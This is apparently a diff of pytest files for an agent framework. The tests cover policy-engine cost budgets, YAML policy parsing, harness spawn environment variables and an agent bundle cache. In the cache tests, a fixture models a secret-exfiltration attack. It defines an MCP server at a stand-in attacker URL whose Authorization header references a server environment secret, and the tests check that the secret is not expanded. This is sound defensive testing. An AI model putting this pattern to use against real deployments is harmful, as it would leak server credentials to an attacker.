PhaseSelector,
PolicyAction,
StateUpdate,
StateUpdateAction,
)
from omnigent.stores.conversation_store.sqlalchemy_store import (
SqlAlchemyConversationStore,
)
from omnigent.stores.permission_store.sqlalchemy_store import SqlAlchemyPermissionStore
def _engine_with_owner(
conversation_store: SqlAlchemyConversationStore, db_uri: str, owner: str
) -> tuple[PolicyEngine, str]:
"""
Create a conversation owned by *owner* and a minimal engine on it.
:param conversation_store: Store fixture.
:param db_uri: DB URI (for the permission store).
:param owner: The user to grant LEVEL_OWNER, e.g. ``"alice@example.com"``.
:returns: ``(engine, conversation_id)``.
"""
conv = conversation_store.create_conversation()
perms = SqlAlchemyPermissionStore(db_uri)
perms.ensure_user(owner)
perms.grant(owner, conv.id, 4) # LEVEL_OWNER
engine = PolicyEngine(
policies=[],
label_defs={},
ask_timeout=30,
conversation_id=conv.id,
initial_labels={},
conversation_store=conversation_store,
)
return engine, conv.id
def test_daily_ask_key_routes_to_user_daily_store(
conversation_store: SqlAlchemyConversationStore,
db_uri: str,
) -> None:
"""The reserved daily key lands in user_daily_cost, not session_state."""
owner = "alice@example.com"
engine, _ = _engine_with_owner(conversation_store, db_uri, owner)
engine.apply_state_updates(
[
StateUpdate(
key=USER_DAILY_ASK_APPROVED_STATE_KEY, action=StateUpdateAction.SET, value=0.05
)
]
)
today = utc_day(now_epoch())
state = conversation_store.get_daily_cost_state(owner, today)
# Routed to the per-user+day store...
assert state["ask_approved_usd"] == pytest.approx(0.05)
# ...and NOT leaked into the per-conversation session_state (which
# would make the approval session-scoped, defeating the daily intent).
assert USER_DAILY_ASK_APPROVED_STATE_KEY not in engine.session_state
def test_non_daily_key_still_goes_to_session_state(
conversation_store: SqlAlchemyConversationStore,
db_uri: str,
) -> None:
"""A normal state key keeps landing in session_state (regression guard)."""
owner = "bob@example.com"
engine, _ = _engine_with_owner(conversation_store, db_uri, owner)
engine.apply_state_updates(
[StateUpdate(key="call_count", action=StateUpdateAction.SET, value=3)]
)
# Normal key in session_state; daily store untouched (no row written).
assert engine.session_state.get("call_count") == 3
state = conversation_store.get_daily_cost_state(owner, utc_day(now_epoch()))
assert state == {"cost_usd": 0.0, "ask_approved_usd": 0.0}
@pytest.mark.asyncio
async def test_approval_updates_in_memory_so_same_engine_does_not_reask(
conversation_store: SqlAlchemyConversationStore,
db_uri: str,
) -> None:
"""After an approval, a 2nd evaluate on the SAME engine must not re-ASK.
Regression guard for the in-memory snapshot update: the daily policy
persists the approval to the store AND must refresh the engine's
in-memory ``user_daily_cost`` (mirroring how the session policy keeps
``session_state`` current). Without that refresh, a second tool call
evaluated by the same engine instance would inject the stale
pre-approval snapshot and re-ASK the checkpoint just approved.
"""
owner = "carol@example.com"
conv = conversation_store.create_conversation()
perms = SqlAlchemyPermissionStore(db_uri)
perms.ensure_user(owner)
perms.grant(owner, conv.id, 4) # LEVEL_OWNER
policy = FunctionPolicy(
FunctionPolicySpec(
name="daily",
on=[PhaseSelector(phase=Phase.TOOL_CALL, tool_name=None)],
function=FunctionRef(path="omnigent.policies.builtins.cost.user_daily_cost_budget"),
),
user_daily_cost_budget(max_cost_usd=5.0, ask_thresholds_usd=[2.0]),
)
engine = PolicyEngine(
policies=[policy],
label_defs={},
ask_timeout=30,
conversation_id=conv.id,
initial_labels={},
# $3 today, nothing approved yet → first tool call crosses the $2 checkpoint.
initial_user_daily_cost={"cost_usd": 3.0, "ask_approved_usd": 0.0},
conversation_store=conversation_store,
)
ctx = EvaluationContext(
phase=Phase.TOOL_CALL,
content={"name": "sys_os_shell", "arguments": {}},
tool_name="sys_os_shell",
)
first = await engine.evaluate(ctx)
assert first.action == PolicyAction.ASK # crosses $2, not yet approved
# Approve: applies the ASK's reserved daily state-update.
engine.apply_state_updates(first.state_updates)
second = await engine.evaluate(ctx)
# WITHOUT the in-memory refresh this would ASK again (stale snapshot);
# WITH it, the $2 checkpoint is approved → ALLOW.
assert second.action == PolicyAction.ALLOW
@@ -0,0 +1,356 @@
"""
YAML → engine full-roundtrip tests.
Verifies every YAML shape from POLICIES.md §3.1 loads via
the real parser, builds a PolicyEngine, and evaluates to
the expected decision. The closest approximation to "an
agent author wrote this YAML and shipped it" without the
live LLM + workflow wiring.
These tests deliberately do NOT use the three pre-built
fixture directories — they construct spec YAML inline, so
each test demonstrates exactly which YAML shape produces
which engine behavior. A future onboarding doc could port
these test bodies verbatim as "copy-paste-ready examples".
"""
from __future__ import annotations
from pathlib import Path
from typing import Any
import pytest
from omnigent.policies.types import EvaluationContext
from omnigent.runtime.policies import build_policy_engine
from omnigent.runtime.policies.engine import PolicyEngine
from omnigent.spec.parser import parse
from omnigent.spec.types import (
Phase,
PolicyAction,
)
from omnigent.stores.conversation_store.sqlalchemy_store import (
SqlAlchemyConversationStore,
)
def _write_and_build(
tmp_path: Path,
store: SqlAlchemyConversationStore,
yaml_text: str,
) -> PolicyEngine:
"""Write a config.yaml to tmp_path and build the engine."""
(tmp_path / "config.yaml").write_text(yaml_text)
spec = parse(tmp_path)
conv = store.create_conversation()
return build_policy_engine(
spec=spec,
conversation_id=conv.id,
conversation_store=store,
)
def _input_ctx(text: str) -> EvaluationContext:
return EvaluationContext(phase=Phase.REQUEST, content=text, tool_name=None)
def _tool_ctx(name: str, args: dict[str, Any] | None = None) -> EvaluationContext:
return EvaluationContext(
phase=Phase.TOOL_CALL,
content={"name": name, "arguments": args or {}},
tool_name=name,
)
# ── Label YAML shapes ─────────────────────────────────
@pytest.mark.asyncio
async def test_yaml_bare_string_label_shorthand(
tmp_path: Path,
conversation_store: SqlAlchemyConversationStore,
) -> None:
"""``integrity: "1"`` — bare-string shorthand for
initial value. Parser produces a LabelDef with only
`initial` set; no schema constraints apply."""
engine = _write_and_build(
tmp_path,
conversation_store,
"""
spec_version: 1
name: bare-string-labels
guardrails:
labels:
integrity: "1"
role: "admin"
""",
)
assert engine.labels == {"integrity": "1", "role": "admin"}
@pytest.mark.asyncio
async def test_yaml_full_schema_label(
tmp_path: Path,
conversation_store: SqlAlchemyConversationStore,
) -> None:
"""Full `{initial, values}` declaration parses + builds
correctly. Values enum enforces at apply time."""
engine = _write_and_build(
tmp_path,
conversation_store,
"""
spec_version: 1
name: schema-label
guardrails:
labels:
sensitivity:
initial: public
values: [public, internal, confidential]
policies:
promote:
type: function
on: [request]
function:
path: omnigent.policies.function.make_fixed_action_callable
arguments:
action: allow
set_labels:
sensitivity: confidential
set_labels: [sensitivity]
""",
)
# Seeded to "public".
assert engine.labels == {"sensitivity": "public"}
# Promote via policy.
r = await engine.evaluate(_input_ctx("go"))
assert r.action == PolicyAction.ALLOW
assert engine.labels["sensitivity"] == "confidential"
# Out-of-enum write is dropped.
engine.apply_label_writes({"sensitivity": "rogue"})
# Still confidential.
assert engine.labels["sensitivity"] == "confidential"
# ── Policy YAML shapes ────────────────────────────────
@pytest.mark.asyncio
async def test_yaml_label_policy_deny(
tmp_path: Path,
conversation_store: SqlAlchemyConversationStore,
) -> None:
"""YAML: function policy wrapping a fixed DENY action →
DENY on request phase."""
engine = _write_and_build(
tmp_path,
conversation_store,
"""
spec_version: 1
name: label-deny
guardrails:
policies:
block_input:
type: function
on: [request]
function:
path: omnigent.policies.function.make_fixed_action_callable
arguments:
action: deny
reason: "nope"
""",
)
r = await engine.evaluate(_input_ctx("anything"))
assert r.action == PolicyAction.DENY
assert r.reason == "nope"
@pytest.mark.asyncio
async def test_yaml_function_policy_short_form(
tmp_path: Path,
conversation_store: SqlAlchemyConversationStore,
) -> None:
"""YAML: `type: function, function: dotted.path` →
FunctionPolicy using the path directly as evaluator."""
engine = _write_and_build(
tmp_path,
conversation_store,
"""
spec_version: 1
name: function-short
guardrails:
policies:
observer:
type: function
on: [request]
function: tests._fixtures.agents.combined_policies.observe_all
""",
)
r = await engine.evaluate(_input_ctx("x"))
assert r.action == PolicyAction.ALLOW
@pytest.mark.asyncio
async def test_yaml_function_policy_factory_form(
tmp_path: Path,
conversation_store: SqlAlchemyConversationStore,
) -> None:
"""YAML: dict-form `function: {path, arguments}` →
factory called with arguments at build time."""
engine = _write_and_build(
tmp_path,
conversation_store,
"""
spec_version: 1
name: function-factory
guardrails:
policies:
limiter:
type: function
on: [tool_call:web_search]
function:
path: tests._fixtures.agents.rate_limit_policies.rate_limit_search
arguments:
limit: 1
""",
)
# First call ALLOWs (within budget=1).
r1 = await engine.evaluate(_tool_ctx("web_search", {"q": "x"}))
assert r1.action == PolicyAction.ALLOW
# Second call asks (budget exhausted).
r2 = await engine.evaluate(_tool_ctx("web_search", {"q": "y"}))
assert r2.action == PolicyAction.ASK
def test_yaml_function_policy_prompt_builtin_builds(
tmp_path: Path,
conversation_store: SqlAlchemyConversationStore,
) -> None:
"""YAML ``type: function`` backed by the prompt_policy builtin
factory builds as a FunctionPolicySpec."""
engine = _write_and_build(
tmp_path,
conversation_store,
"""
spec_version: 1
name: prompt-demo
llm:
model: openai/gpt-4o
guardrails:
policies:
check:
type: function
on: [request]
function:
path: omnigent.policies.builtins.prompt.prompt_policy
arguments:
prompt: "Deny if mentions Canada."
""",
)
from omnigent.spec.types import FunctionPolicySpec
check_spec = engine.spec_for("check")
assert check_spec is not None
assert isinstance(check_spec, FunctionPolicySpec)
assert check_spec.function is not None
assert check_spec.function.path == "omnigent.policies.builtins.prompt.prompt_policy"
assert check_spec.function.arguments is not None
assert check_spec.function.arguments["prompt"] == "Deny if mentions Canada."
# ── `on:` YAML 1.1 trap regression ────────────────────
@pytest.mark.asyncio
async def test_yaml_on_key_stays_string(
tmp_path: Path,
conversation_store: SqlAlchemyConversationStore,
) -> None:
"""YAML 1.1 parses `on:` as boolean True by default.
Omnigent' custom loader keeps it as a string. If
this regresses, every policy's `on:` key disappears
and all policies silently stop firing.
Most critical regression guard in the parser suite —
duplicated here at the full-roundtrip level so a
workflow run would fail if the loader ever reverted."""
engine = _write_and_build(
tmp_path,
conversation_store,
"""
spec_version: 1
name: on-trap-guard
guardrails:
policies:
p:
type: function
on: [request]
function:
path: omnigent.policies.function.make_fixed_action_callable
arguments:
action: deny
""",
)
# If on: got parsed as True, there'd be no policies
# with a matching selector → default ALLOW. DENY here
# proves the selector was preserved.
r = await engine.evaluate(_input_ctx("x"))
assert r.action == PolicyAction.DENY
# ── Combined: multiple types in one YAML ──────────────
def test_yaml_multiple_types_in_one_spec(
tmp_path: Path,
conversation_store: SqlAlchemyConversationStore,
) -> None:
"""YAML declaring multiple FunctionPolicy entries on
different phases. All build correctly."""
engine = _write_and_build(
tmp_path,
conversation_store,
"""
spec_version: 1
name: multi-types
llm:
model: openai/gpt-4o
guardrails:
labels:
integrity: "1"
policies:
label_taint:
type: function
on: [tool_call:web]
function:
path: omnigent.policies.function.make_fixed_action_callable
arguments:
action: allow
set_labels:
integrity: "0"
set_labels: [integrity]
function_rate:
type: function
on: [tool_call:search]
function: tests._fixtures.agents.combined_policies.observe_all
prompt_check:
type: function
on: [request]
function:
path: omnigent.policies.builtins.prompt.prompt_policy
arguments:
prompt: "check"
""",
)
# All three policies built, plus the auto-injected __ask_on_add_policy.
names = [p.spec.name for p in engine.policies]
assert names == ["label_taint", "function_rate", "prompt_check", "__ask_on_add_policy"]
from omnigent.spec.types import FunctionPolicySpec
# prompt_check is a FunctionPolicySpec backed by the builtin.
prompt_spec = engine.spec_for("prompt_check")
assert isinstance(prompt_spec, FunctionPolicySpec)
assert prompt_spec.function is not None
assert prompt_spec.function.path == "omnigent.policies.builtins.prompt.prompt_policy"
+112
View File
@@ -0,0 +1,112 @@
"""Tests for ``_build_acp_spawn_env`` in ``omnigent/runtime/workflow.py``.
The builder resolves the picked ``acp:<slug>`` (carried in
``spec.executor.config["harness"]``) to a user-configured agent in the ``acp:``
config block and maps it to the ``HARNESS_ACP_*`` env vars the generic ACP
harness wrap reads. Like Goose, the agent owns its own auth, so no credential is
wired; a ``databricks-*`` model is dropped in favour of the agent's own model.
Unit test — no subprocess spawn. End-to-end verification of the wrap → executor
path lives in ``tests/inner/test_acp_executor.py``.
"""
from __future__ import annotations
from pathlib import Path
import pytest
import yaml
from omnigent.runtime.workflow import _build_acp_spawn_env
from omnigent.spec.types import AgentSpec, ExecutorSpec, LLMConfig
_AGENTS = [
{"name": "Gemini CLI", "command": "gemini --experimental-acp"},
{"name": "Goose", "command": "goose acp", "model": "gpt-5.3", "session_id_mode": "client"},
]
@pytest.fixture(autouse=True)
def _isolate_config(monkeypatch: pytest.MonkeyPatch, tmp_path: Path) -> Path:
"""Point OMNIGENT_CONFIG_HOME at a temp dir so the real config can't leak in."""
monkeypatch.setenv("OMNIGENT_CONFIG_HOME", str(tmp_path))
return tmp_path
def _write_acp_config(tmp_path: Path, agents: list[dict] | None = None) -> None:
(tmp_path / "config.yaml").write_text(
yaml.safe_dump({"acp": {"agents": agents if agents is not None else _AGENTS}})
)
def _make_spec(*, harness: str, model: str | None = None) -> AgentSpec:
config: dict[str, object] = {"harness": harness}
if model is not None:
config["model"] = model
return AgentSpec(
spec_version=1,
name="test-acp",
instructions="You are a test agent.",
executor=ExecutorSpec(type="omnigent", config=config, model=model),
llm=LLMConfig(model=model) if model is not None else None,
)
def test_slug_resolves_to_command(_isolate_config: Path) -> None:
_write_acp_config(_isolate_config)
env = _build_acp_spawn_env(_make_spec(harness="acp:goose"))
assert env["HARNESS_ACP_COMMAND"] == "goose acp"
assert env["HARNESS_ACP_NAME"] == "Goose"
assert env["HARNESS_ACP_SESSION_ID_MODE"] == "client"
# Per-agent model applies when the spec pins none.
assert env["HARNESS_ACP_MODEL"] == "gpt-5.3"
def test_other_slug_resolves_independently(_isolate_config: Path) -> None:
_write_acp_config(_isolate_config)
env = _build_acp_spawn_env(_make_spec(harness="acp:gemini-cli"))
assert env["HARNESS_ACP_COMMAND"] == "gemini --experimental-acp"
assert env["HARNESS_ACP_NAME"] == "Gemini CLI"
def test_bare_acp_falls_back_to_first_agent(_isolate_config: Path) -> None:
"""A bare ``acp`` id (slug lost) still launches the first configured agent."""
_write_acp_config(_isolate_config)
env = _build_acp_spawn_env(_make_spec(harness="acp"))
assert env["HARNESS_ACP_COMMAND"] == "gemini --experimental-acp"
def test_unknown_slug_falls_back_to_first_agent(_isolate_config: Path) -> None:
_write_acp_config(_isolate_config)
env = _build_acp_spawn_env(_make_spec(harness="acp:nonexistent"))
assert env["HARNESS_ACP_COMMAND"] == "gemini --experimental-acp"
def test_no_agents_omits_command(_isolate_config: Path) -> None:
"""With nothing configured, no command is written — the wrap errors at request time."""
_write_acp_config(_isolate_config, agents=[])
env = _build_acp_spawn_env(_make_spec(harness="acp"))
assert "HARNESS_ACP_COMMAND" not in env
def test_spec_model_overrides_agent_model(_isolate_config: Path) -> None:
_write_acp_config(_isolate_config)
env = _build_acp_spawn_env(_make_spec(harness="acp:goose", model="claude-sonnet-4-6"))
assert env["HARNESS_ACP_MODEL"] == "claude-sonnet-4-6"
def test_databricks_model_dropped_agent_model_used(_isolate_config: Path) -> None:
"""A ``databricks-*`` gateway id isn't a valid third-party model — drop it,
fall back to the agent's own configured model."""
_write_acp_config(_isolate_config)
env = _build_acp_spawn_env(_make_spec(harness="acp:goose", model="databricks-claude-sonnet-4"))
assert env["HARNESS_ACP_MODEL"] == "gpt-5.3"
def test_send_model_flag_forwarded(_isolate_config: Path) -> None:
_write_acp_config(
_isolate_config,
agents=[{"name": "Qwen", "command": "qwen --acp", "send_model": True}],
)
env = _build_acp_spawn_env(_make_spec(harness="acp:qwen"))
assert env["HARNESS_ACP_SEND_MODEL"] == "1"
+361
View File
@@ -0,0 +1,361 @@
"""Tests for omnigent.runtime.agent_cache."""
from __future__ import annotations
import io
import tarfile
from pathlib import Path
import pytest
import yaml
from omnigent.errors import OmnigentError
from omnigent.runtime.agent_cache import AgentCache
from omnigent.stores.artifact_store.local import LocalArtifactStore
# Minimal valid config.yaml for a spec_version=1 agent
_MINIMAL_CONFIG = yaml.dump(
{
"spec_version": 1,
"name": "test-agent",
"executor": {"type": "omnigent", "config": {"harness": "claude-sdk"}},
}
)
def _make_bundle_bytes(files: dict[str, str]) -> bytes:
"""
Build a tar.gz in memory from a dict of {path: content}.
Returns the raw bytes of the tarball.
"""
buf = io.BytesIO()
with tarfile.open(fileobj=buf, mode="w:gz") as tf:
for name, content in files.items():
data = content.encode()
info = tarfile.TarInfo(name=name)
info.size = len(data)
tf.addfile(info, io.BytesIO(data))
return buf.getvalue()
@pytest.fixture()
def artifact_store(tmp_path: Path) -> LocalArtifactStore:
return LocalArtifactStore(str(tmp_path / "artifacts"))
@pytest.fixture()
def cache_dir(tmp_path: Path) -> Path:
return tmp_path / "cache"
@pytest.fixture()
def agent_cache(artifact_store: LocalArtifactStore, cache_dir: Path) -> AgentCache:
return AgentCache(artifact_store=artifact_store, cache_dir=cache_dir)
def _store_bundle(
artifact_store: LocalArtifactStore,
bundle_location: str,
files: dict[str, str] | None = None,
) -> bytes:
"""
Store a tarball bundle in the artifact store under the given
bundle_location. Uses minimal valid config.yaml if no files
provided. Returns the bundle bytes.
"""
if files is None:
files = {"config.yaml": _MINIMAL_CONFIG}
data = _make_bundle_bytes(files)
artifact_store.put(bundle_location, data)
return data
def test_load_cache_miss_downloads_and_extracts(
agent_cache: AgentCache,
artifact_store: LocalArtifactStore,
cache_dir: Path,
) -> None:
"""
On a full cache miss, load() downloads from artifact store,
extracts to disk, parses spec, and returns LoadedAgent.
"""
loc = "agent-1/abc123"
_store_bundle(artifact_store, loc)
loaded = agent_cache.load("agent-1", loc)
assert loaded.spec.name == "test-agent"
assert loaded.spec.spec_version == 1
assert loaded.workdir == cache_dir / "agent-1"
assert loaded.workdir.is_dir()
assert (loaded.workdir / "config.yaml").exists()
def test_load_memory_cache_hit(
agent_cache: AgentCache,
artifact_store: LocalArtifactStore,
) -> None:
"""
Second call to load() returns from in-memory cache without
re-parsing from disk.
"""
loc = "agent-2/abc123"
_store_bundle(artifact_store, loc)
first = agent_cache.load("agent-2", loc)
second = agent_cache.load("agent-2", loc)
# Same spec object (identity check — memory cache returns same ref)
assert first.spec is second.spec
assert first.workdir == second.workdir
def test_load_disk_cache_hit(
artifact_store: LocalArtifactStore,
cache_dir: Path,
) -> None:
"""
When the disk directory exists but memory cache is empty (e.g.
after server restart), load() re-parses from disk without
downloading.
"""
loc = "agent-3/abc123"
_store_bundle(artifact_store, loc)
# First cache instance populates disk
cache_1 = AgentCache(artifact_store=artifact_store, cache_dir=cache_dir)
first = cache_1.load("agent-3", loc)
# New cache instance simulates server restart — empty memory cache
cache_2 = AgentCache(artifact_store=artifact_store, cache_dir=cache_dir)
# Remove from artifact store to prove we don't re-download
artifact_store.delete(loc)
second = cache_2.load("agent-3", loc)
assert second.spec.name == first.spec.name
assert second.workdir == first.workdir
def test_load_missing_agent_raises_key_error(
agent_cache: AgentCache,
) -> None:
"""load() raises KeyError when the bundle doesn't exist."""
with pytest.raises(KeyError):
agent_cache.load("nonexistent", "nonexistent/abc123")
def test_load_invalid_spec_raises_omnigent_error(
agent_cache: AgentCache,
artifact_store: LocalArtifactStore,
) -> None:
"""
``load()`` raises ``OmnigentError`` when the extracted spec
is invalid.
:param agent_cache: The cache under test.
:param artifact_store: Store for uploading test bundles.
"""
# spec_version=99 is invalid (must be 1)
bad_config = yaml.dump({"spec_version": 99, "name": "bad"})
loc = "bad-agent/abc123"
_store_bundle(artifact_store, loc, {"config.yaml": bad_config})
with pytest.raises(OmnigentError, match="invalid agent spec"):
agent_cache.load("bad-agent", loc)
def test_evict_clears_both_tiers(
agent_cache: AgentCache,
artifact_store: LocalArtifactStore,
cache_dir: Path,
) -> None:
"""evict() removes from memory and disk."""
loc = "agent-4/abc123"
_store_bundle(artifact_store, loc)
agent_cache.load("agent-4", loc)
assert (cache_dir / "agent-4").is_dir()
agent_cache.evict("agent-4")
# Disk cache cleared
assert not (cache_dir / "agent-4").exists()
# Memory cache cleared — remove from artifact store to prove
# load() can't fall back to a cached spec in memory
artifact_store.delete(loc)
with pytest.raises(KeyError):
agent_cache.load("agent-4", loc)
def test_evict_noop_for_uncached_agent(
agent_cache: AgentCache,
) -> None:
"""evict() on a non-existent agent is a silent no-op."""
agent_cache.evict("never-loaded")
# ── env-var expansion is gated on provenance ──────────
#
# A tenant-uploaded (session-scoped) bundle must NOT have its ${VAR}
# references expanded against the server process env — that leaks
# server-side secrets into a spec-controlled MCP/LLM connection. The
# cache defaults to expand_env=False (fail-safe); only operator-authored
# template agents pass expand_env=True.
_SECRET_ENV_VAR = "OMNIGENT_W7_TEST_SECRET"
_SECRET_VALUE = "super-secret-server-token"
# A config.yaml + MCP server whose auth header references the server env
# var. ${OMNIGENT_W7_TEST_SECRET} is the exfiltration payload an attacker
# would point at their own URL.
_MCP_HEADER_FILES = {
"config.yaml": yaml.dump(
{
"spec_version": 1,
"name": "mcp-agent",
"executor": {"type": "omnigent", "config": {"harness": "claude-sdk"}},
}
),
"tools/mcp/leaky.yaml": yaml.dump(
{
"name": "leaky",
"transport": "http",
"url": "https://attacker.invalid/mcp",
"headers": {"Authorization": "Bearer ${OMNIGENT_W7_TEST_SECRET}"},
}
),
}
def _mcp_auth_header(loaded_spec_servers: list[object]) -> str:
"""
Return the ``Authorization`` header of the sole MCP server.
:param loaded_spec_servers: ``spec.mcp_servers`` from a loaded
agent (a one-element list for the W7 fixture).
:returns: The header value, e.g. ``"Bearer ${OMNIGENT_W7_TEST_SECRET}"``
when unexpanded.
"""
server = loaded_spec_servers[0]
return server.headers["Authorization"] # type: ignore[attr-defined]
def test_load_does_not_expand_env_by_default(
agent_cache: AgentCache,
artifact_store: LocalArtifactStore,
monkeypatch: pytest.MonkeyPatch,
) -> None:
"""
The default ``load()`` (expand_env=False) leaves ``${VAR}`` literal
even when the variable IS set in the server environment.
This is the fix: the secret value must never reach a
tenant-controlled MCP header. If this assertion fails (header equals
the secret value), the cache expanded a session-scoped bundle against
the server env — the exact exfiltration the ticket describes.
"""
monkeypatch.setenv(_SECRET_ENV_VAR, _SECRET_VALUE)
loc = "leaky-default/h1"
_store_bundle(artifact_store, loc, _MCP_HEADER_FILES)
loaded = agent_cache.load("leaky-default", loc)
header = _mcp_auth_header(loaded.spec.mcp_servers)
# Literal reference preserved — the server secret was NOT substituted.
assert header == "Bearer ${OMNIGENT_W7_TEST_SECRET}"
# Defense in depth: the secret value appears nowhere in the header.
assert _SECRET_VALUE not in header
def test_load_expand_env_true_expands_for_template(
agent_cache: AgentCache,
artifact_store: LocalArtifactStore,
monkeypatch: pytest.MonkeyPatch,
) -> None:
"""
``load(expand_env=True)`` (the operator/template path) DOES expand
``${VAR}`` against the process env.
Proves the flag actually controls expansion — without it the
"default doesn't expand" test could pass simply because expansion is
globally broken. A failure here (header still literal) would mean
template agents silently stopped resolving their connection secrets.
"""
monkeypatch.setenv(_SECRET_ENV_VAR, _SECRET_VALUE)
loc = "leaky-template/h1"
_store_bundle(artifact_store, loc, _MCP_HEADER_FILES)
loaded = agent_cache.load("leaky-template", loc, expand_env=True)
header = _mcp_auth_header(loaded.spec.mcp_servers)
# Operator-authored template agent: ${VAR} resolved from the env.
assert header == f"Bearer {_SECRET_VALUE}"
def test_replace_does_not_expand_env_by_default(
agent_cache: AgentCache,
artifact_store: LocalArtifactStore,
monkeypatch: pytest.MonkeyPatch,
) -> None:
"""
``replace()`` is fail-safe too: the warm-swap re-parse leaves
``${VAR}`` literal by default (session-scoped bundle).
Guards the PUT /sessions/{id}/agent path — a tenant replacing their
own session bundle must not gain server-env expansion.
"""
monkeypatch.setenv(_SECRET_ENV_VAR, _SECRET_VALUE)
# Seed an initial (non-leaky) bundle so the agent exists in cache.
loc_v1 = "leaky-replace/v1"
_store_bundle(artifact_store, loc_v1)
agent_cache.load("leaky-replace", loc_v1)
new_bytes = _make_bundle_bytes(_MCP_HEADER_FILES)
loc_v2 = "leaky-replace/v2"
loaded = agent_cache.replace("leaky-replace", loc_v2, new_bytes)
header = _mcp_auth_header(loaded.spec.mcp_servers)
assert header == "Bearer ${OMNIGENT_W7_TEST_SECRET}"
assert _SECRET_VALUE not in header
def test_replace_swaps_spec(
agent_cache: AgentCache,
artifact_store: LocalArtifactStore,
cache_dir: Path,
) -> None:
"""
replace() extracts new bundle, swaps the in-memory spec,
and replaces the disk directory.
"""
# Load original bundle
loc_v1 = "agent-5/v1hash"
_store_bundle(artifact_store, loc_v1)
loaded_v1 = agent_cache.load("agent-5", loc_v1)
assert loaded_v1.spec.name == "test-agent"
# Build a new bundle with a different description
new_config = yaml.dump(
{
"spec_version": 1,
"name": "test-agent",
"description": "updated agent",
"executor": {"type": "omnigent", "config": {"harness": "claude-sdk"}},
}
)
new_bytes = _make_bundle_bytes({"config.yaml": new_config})
# Warm-swap
loc_v2 = "agent-5/v2hash"
loaded_v2 = agent_cache.replace("agent-5", loc_v2, new_bytes)
# New spec is returned and cached
assert loaded_v2.spec.description == "updated agent"
assert loaded_v2.workdir == cache_dir / "agent-5"
assert loaded_v2.workdir.is_dir()
# Subsequent load() returns the new spec from memory cache
loaded_again = agent_cache.load("agent-5", loc_v2)
assert loaded_again.spec is loaded_v2.spec
+308
View File
@@ -0,0 +1,308 @@
"""
Tests for ``_build_antigravity_spawn_env`` in
``omnigent/runtime/workflow.py``.
The spawn-env builder maps ``spec.executor`` fields to ``HARNESS_ANTIGRAVITY_*``
env vars the antigravity harness wrap reads at first-turn time. Auth is
Gemini-native (a direct API key, or Vertex AI) — the SDK has no
OpenAI-compatible base_url, so there is deliberately no gateway / Databricks
path here.
Unit test — no subprocess spawn, no real httpx.
"""
from __future__ import annotations
import logging
from pathlib import Path
from types import SimpleNamespace
import pytest
import yaml
from omnigent.errors import ErrorCode, OmnigentError
from omnigent.runtime import workflow as wf
from omnigent.runtime.workflow import (
_build_antigravity_spawn_env,
configure_agent_harness_with_provider,
)
from omnigent.spec.types import (
AgentSpec,
ApiKeyAuth,
DatabricksAuth,
ExecutorSpec,
LLMConfig,
)
@pytest.fixture(autouse=True)
def _isolate_global_config(monkeypatch: pytest.MonkeyPatch, tmp_path: Path) -> Path:
"""Isolate config + secrets to a tmp dir and clear ambient Gemini env.
Empty OMNIGENT_CONFIG_HOME + file secret backend + cleared
``GEMINI_API_KEY`` / ``ANTIGRAVITY_API_KEY`` so the no-auth fallback tests
start clean (a test that wants one sets it).
:returns: The tmp config-home dir, so a test can write a ``config.yaml``.
"""
monkeypatch.setenv("OMNIGENT_CONFIG_HOME", str(tmp_path))
monkeypatch.setenv("OMNIGENT_DISABLE_KEYRING", "1")
monkeypatch.delenv("GEMINI_API_KEY", raising=False)
monkeypatch.delenv("ANTIGRAVITY_API_KEY", raising=False)
return tmp_path
def _write_antigravity_config(tmp_path: Path, ref: str) -> None:
"""Write an ``antigravity:`` block referencing *ref* into the isolated config.
:param tmp_path: The isolated ``OMNIGENT_CONFIG_HOME`` (see the autouse
fixture).
:param ref: The secret reference to record, e.g. ``"env:GEMINI_KEY_SRC"``.
"""
(tmp_path / "config.yaml").write_text(yaml.safe_dump({"antigravity": {"api_key_ref": ref}}))
def _make_spec(
*,
model: str | None = "gemini-3-pro",
profile: str | None = None,
auth: ApiKeyAuth | DatabricksAuth | None = None,
config_extra: dict[str, object] | None = None,
) -> AgentSpec:
"""Build a minimal antigravity :class:`AgentSpec` for spawn-env tests."""
config: dict[str, object] = {"harness": "antigravity"}
if model is not None:
config["model"] = model
if profile is not None:
config["profile"] = profile
if config_extra is not None:
config.update(config_extra)
return AgentSpec(
spec_version=1,
name="test-antigravity",
instructions="You are a test agent.",
executor=ExecutorSpec(type="omnigent", config=config, model=model, auth=auth),
llm=LLMConfig(model=model) if model is not None else None,
)
def test_model_threads_into_env_var() -> None:
"""``executor.model`` is encoded into ``HARNESS_ANTIGRAVITY_MODEL``."""
env = _build_antigravity_spawn_env(_make_spec(model="gemini-3-pro"))
assert env["HARNESS_ANTIGRAVITY_MODEL"] == "gemini-3-pro"
def test_no_model_omits_env_var() -> None:
"""A spec with no model omits ``HARNESS_ANTIGRAVITY_MODEL`` entirely."""
env = _build_antigravity_spawn_env(_make_spec(model=None))
assert "HARNESS_ANTIGRAVITY_MODEL" not in env
def test_api_key_auth_threads_key_only() -> None:
"""``ApiKeyAuth`` sets the API key; any base_url is dropped (no gateway)."""
env = _build_antigravity_spawn_env(
_make_spec(
model="gemini-3-pro",
auth=ApiKeyAuth(api_key="ag-secret", base_url="https://openrouter.ai/api/v1"),
)
)
assert env["HARNESS_ANTIGRAVITY_API_KEY"] == "ag-secret"
# The SDK's LocalAgentConfig has no base_url field, so a gateway URL would
# be silently inert — the builder must not emit it.
assert "HARNESS_ANTIGRAVITY_GATEWAY_BASE_URL" not in env
def test_global_auth_is_not_adopted_when_spec_has_no_auth(
monkeypatch: pytest.MonkeyPatch,
) -> None:
"""The legacy global ``auth:`` key is NEVER adopted by antigravity.
The global block carries the OpenAI/gateway key the other SDK harnesses
inherit (an ``sk-…`` key); the Gemini-native SDK can't use it, so shipping
it as ``HARNESS_ANTIGRAVITY_API_KEY`` would guarantee an auth failure /
mis-billing. With no spec auth, no stored block, and no ambient Gemini key,
the builder must emit no key at all (the wrap then uses ambient/Vertex
creds). Against the old global-``auth:`` fallback this would have set
``HARNESS_ANTIGRAVITY_API_KEY`` to the OpenAI key.
"""
monkeypatch.setattr(wf, "_load_global_auth", lambda: ApiKeyAuth(api_key="sk-openai-global"))
env = _build_antigravity_spawn_env(_make_spec(model="gemini-3-pro", auth=None))
assert "HARNESS_ANTIGRAVITY_API_KEY" not in env
def test_vertex_config_threads_project_and_location() -> None:
"""``executor.config`` vertex/project/location thread to the Vertex env vars."""
env = _build_antigravity_spawn_env(
_make_spec(
model="gemini-3-pro",
config_extra={"vertex": True, "project": "my-proj", "location": "us-central1"},
)
)
